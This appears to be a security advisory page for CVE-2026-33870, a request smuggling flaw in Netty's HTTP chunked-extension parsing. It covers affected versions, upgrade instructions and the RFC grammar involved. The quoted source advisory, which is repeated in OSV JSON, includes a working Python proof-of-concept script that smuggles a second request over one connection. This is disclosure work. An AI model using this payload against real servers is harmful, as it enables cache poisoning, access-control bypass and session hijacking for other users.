CVE-2026-33870: Netty HTTP Request Smuggling Vulnerability

HIGH
Advisory Identifier: GHSA-pwqr-wmgm-9rr8
CVSS 7.5
CWE-444
Published
Advisory Summary

CVE-2026-33870 is a HIGH (CVSS 7.5) http request smuggling vulnerability (CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')) affecting Netty libraries in the Maven ecosystem. The issue involves http request smuggling via chunked extension quoted-string parsing. Remediation is available by upgrading affected packages to version 4.1.132.Final, 4.2.10.Final.

CVE-2026-33870 at a Glance

CVE Identifier CVE-2026-33870
GHSA Identifier GHSA-pwqr-wmgm-9rr8
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Affected Product Netty
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-33870

To remediate this vulnerability, upgrade all affected Netty dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

io.netty:netty-codec-http fixed: 4.1.132.Final
<dependency>
    <groupId>io.netty</groupId>
    <artifactId>netty-codec-http</artifactId>
    <version>4.1.132.Final</version>
</dependency>
io.netty:netty-codec-http fixed: 4.2.10.Final
<dependency>
    <groupId>io.netty</groupId>
    <artifactId>netty-codec-http</artifactId>
    <version>4.2.10.Final</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=io.netty

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2026-33870, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=io.netty

Analyze the terminal output to locate any version of Netty in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.1.132.Final), your application is affected.

Note: The mvn dependency:tree -Dincludes=io.netty command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling'), where the product acts as an intermediary http agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed http requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination. In Netty, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks. ## Background This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques: - <https://w4ke.info/2025/06/18/funky-chunks.html> - <https://w4ke.info/2025/10/29/funky-chunks-2.html> The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values. ## Technical Details **RFC 9110 Section 7.1.1** defines chunked transfer encoding: ``` chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] ) chunk-ext-val = token / quoted-string ``` **RFC 9110 Section 5.6.4** defines quoted-string: ``` quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE ``` Critically, the allowed character ranges within a quoted-string are: ``` qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text ) ``` CR (`%x0D`) and LF (`%x0A`) bytes fall outside all of these ranges and are therefore **not permitted** inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a `400 Bad Request` response (as Squid does, for example). ## Vulnerability Netty terminates chunk header parsing at `\r\n` inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling. **Expected behavior (RFC-compliant):** A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid. **Actual behavior (Netty):** ``` Chunk: 1;a="value ^^^^^ parsing terminates here at \r\n (INCORRECT) Body: here"... is treated as body or the beginning of a subsequent request ``` The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely. ## Proof of Concept ```python #!/usr/bin/env python3 import socket payload = ( b"POST / HTTP/1.1\r\n" b"Host: localhost\r\n" b"Transfer-Encoding: chunked\r\n" b"\r\n" b'1;a="\r\n' b"X\r\n" b"0\r\n" b"\r\n" b"GET /smuggled HTTP/1.1\r\n" b"Host: localhost\r\n" b"Content-Length: 11\r\n" b"\r\n" b'"\r\n' b"Y\r\n" b"0\r\n" b"\r\n" ) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(3) sock.connect(("127.0.0.1", 8080)) sock.sendall(payload) response = b"" while True: try: chunk = sock.recv(4096) if not chunk: break response += chunk except socket.timeout: break sock.close() print(f"Responses: {response.count(b'HTTP/')}") print(response.decode(errors="replace")) ``` **Result:** The server returns two HTTP responses from a single TCP connection, confirming request smuggling. ### Parsing Breakdown | Parser | Request 1 | Request 2 | |-----------------------|-------------------|------------------------------------| | Netty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED) | | RFC-compliant parser | 400 Bad Request | (none — malformed request rejected)| ## Impact - **Request Smuggling**: An attacker can inject arbitrary HTTP requests into a connection. - **Cache Poisoning**: Smuggled responses may poison shared caches. - **Access Control Bypass**: Smuggled requests can circumvent frontend security controls. - **Session Hijacking**: Smuggled requests may intercept responses intended for other users. ## Reproduction 1. Start the minimal proof-of-concept environment using the provided Docker configuration. 2. Execute the proof-of-concept script included in the attached archive. ## Suggested Fix The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them: ``` 1. Read chunk-size. 2. If ';' is encountered, begin parsing extensions: a. For each byte before the terminating CRLF: - If CR (%x0D) or LF (%x0A) is encountered outside the final terminating CRLF, reject the request with 400 Bad Request. b. If the extension value begins with DQUOTE, validate that all enclosed bytes conform to the qdtext / quoted-pair grammar. 3. Only treat CRLF as the chunk header terminator when it appears outside any quoted-string context and contains no preceding illegal bytes. ``` ## Acknowledgments Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list. ## Resources - [RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)](https://www.rfc-editor.org/rfc/rfc9110) - [Funky Chunks Research](https://w4ke.info/2025/06/18/funky-chunks.html) - [Funky Chunks 2 Research](https://w4ke.info/2025/10/29/funky-chunks-2.html) ## Attachments ![Vulnerability Diagram](https://github.com/user-attachments/assets/2faaa23e-693b-4efc-afb7-aae1d4101e7e) [java_netty.zip](https://github.com/user-attachments/files/24697955/java_netty.zip)

CVE-2026-33870 Affected Netty Versions

2 component(s)
Fixed Versions:
4.1.132.Final4.2.10.Final
Product / Package Ecosystem Affected Versions Fixed Version
io.netty:netty-codec-http
Maven
< 4.1.132.Final
4.1.132.Final
io.netty:netty-codec-http
Maven
≥ 4.2.0.Alpha1
< 4.2.10.Final
4.2.10.Final

References

Frequently Asked Questions

What is CVE-2026-33870?
CVE-2026-33870 is a security vulnerability in Netty involving HTTP Request Smuggling via Chunked Extension Quoted-String Parsing under CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling').
Which Netty versions are affected?
Affected versions include releases prior to 4.1.132.Final, 4.2.10.Final across affected packages: io.netty:netty-codec-http.
What version fixes CVE-2026-33870?
Upgrading to 4.1.132.Final, 4.2.10.Final (or the latest patched release for your respective branch) resolves the vulnerability.
Is netty-codec-http affected?
Yes, io.netty:netty-codec-http is affected in releases prior to 4.1.132.Final, 4.2.10.Final. Upgrade your dependency to 4.1.132.Final, 4.2.10.Final or later.
What is the CVSS score of CVE-2026-33870?
CVE-2026-33870 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-33870?
CVE-2026-33870 is classified under CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') (The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.).
How can I check Maven dependencies for CVE-2026-33870?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=io.netty'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pwqr-wmgm-9rr8",
  "modified" : "2026-03-27T21:49:43Z",
  "published" : "2026-03-26T18:48:55Z",
  "aliases" : [ "CVE-2026-33870" ],
  "summary" : "Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing",
  "details" : "## Summary\n\nNetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.\n\n## Background\n\nThis vulnerability is a new variant discovered during research into the \"Funky Chunks\" HTTP request smuggling techniques:\n\n- <https://w4ke.info/2025/06/18/funky-chunks.html>\n- <https://w4ke.info/2025/10/29/funky-chunks-2.html>\n\nThe original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.\n\n## Technical Details\n\n**RFC 9110 Section 7.1.1** defines chunked transfer encoding:\n\n```\nchunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF\nchunk-ext = *( BWS \";\" BWS chunk-ext-name [ BWS \"=\" BWS chunk-ext-val ] )\nchunk-ext-val = token / quoted-string\n```\n\n**RFC 9110 Section 5.6.4** defines quoted-string:\n\n```\nquoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n```\n\nCritically, the allowed character ranges within a quoted-string are:\n\n```\nqdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text\nquoted-pair = \"\\\" ( HTAB / SP / VCHAR / obs-text )\n```\n\nCR (`%x0D`) and LF (`%x0A`) bytes fall outside all of these ranges and are therefore **not permitted** inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a `400 Bad Request` response (as Squid does, for example).\n\n## Vulnerability\n\nNetty terminates chunk header parsing at `\\r\\n` inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.\n\n**Expected behavior (RFC-compliant):**\nA request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.\n\n**Actual behavior (Netty):**\n\n```\nChunk: 1;a=\"value\n            ^^^^^ parsing terminates here at \\r\\n (INCORRECT)\nBody: here\"... is treated as body or the beginning of a subsequent request\n```\n\nThe root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\nimport socket\n\npayload = (\n    b\"POST / HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Transfer-Encoding: chunked\\r\\n\"\n    b\"\\r\\n\"\n    b'1;a=\"\\r\\n'\n    b\"X\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n    b\"GET /smuggled HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Content-Length: 11\\r\\n\"\n    b\"\\r\\n\"\n    b'\"\\r\\n'\n    b\"Y\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(3)\nsock.connect((\"127.0.0.1\", 8080))\nsock.sendall(payload)\n\nresponse = b\"\"\nwhile True:\n    try:\n        chunk = sock.recv(4096)\n        if not chunk:\n            break\n        response += chunk\n    except socket.timeout:\n        break\n\nsock.close()\nprint(f\"Responses: {response.count(b'HTTP/')}\")\nprint(response.decode(errors=\"replace\"))\n```\n\n**Result:** The server returns two HTTP responses from a single TCP connection, confirming request smuggling.\n\n### Parsing Breakdown\n\n| Parser                | Request 1         | Request 2                          |\n|-----------------------|-------------------|------------------------------------|\n| Netty (vulnerable)    | POST / body=\"X\"  | GET /smuggled (SMUGGLED)           |\n| RFC-compliant parser  | 400 Bad Request   | (none — malformed request rejected)|\n\n## Impact\n\n- **Request Smuggling**: An attacker can inject arbitrary HTTP requests into a connection.\n- **Cache Poisoning**: Smuggled responses may poison shared caches.\n- **Access Control Bypass**: Smuggled requests can circumvent frontend security controls.\n- **Session Hijacking**: Smuggled requests may intercept responses intended for other users.\n\n## Reproduction\n\n1. Start the minimal proof-of-concept environment using the provided Docker configuration.\n2. Execute the proof-of-concept script included in the attached archive.\n\n## Suggested Fix\n\nThe parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:\n\n```\n1. Read chunk-size.\n2. If ';' is encountered, begin parsing extensions:\n   a. For each byte before the terminating CRLF:\n      - If CR (%x0D) or LF (%x0A) is encountered outside the\n        final terminating CRLF, reject the request with 400 Bad Request.\n   b. If the extension value begins with DQUOTE, validate that all\n      enclosed bytes conform to the qdtext / quoted-pair grammar.\n3. Only treat CRLF as the chunk header terminator when it appears\n   outside any quoted-string context and contains no preceding\n   illegal bytes.\n```\n\n## Acknowledgments\n\nCredit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.\n\n## Resources\n\n- [RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)](https://www.rfc-editor.org/rfc/rfc9110)\n- [Funky Chunks Research](https://w4ke.info/2025/06/18/funky-chunks.html)\n- [Funky Chunks 2 Research](https://w4ke.info/2025/10/29/funky-chunks-2.html)\n\n## Attachments\n\n![Vulnerability Diagram](https://github.com/user-attachments/assets/2faaa23e-693b-4efc-afb7-aae1d4101e7e)\n\n[java_netty.zip](https://github.com/user-attachments/files/24697955/java_netty.zip)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "io.netty:netty-codec-http"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.132.Final"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "io.netty:netty-codec-http"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.2.0.Alpha1"
      }, {
        "fixed" : "4.2.10.Final"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/netty/netty/security/advisories/GHSA-pwqr-wmgm-9rr8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33870"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/netty/netty"
  }, {
    "type" : "WEB",
    "url" : "https://w4ke.info/2025/06/18/funky-chunks.html"
  }, {
    "type" : "WEB",
    "url" : "https://w4ke.info/2025/10/29/funky-chunks-2.html"
  }, {
    "type" : "WEB",
    "url" : "https://www.rfc-editor.org/rfc/rfc9110"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-444" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-26T18:48:55Z",
    "nvd_published_at" : "2026-03-27T20:16:34Z"
  }
}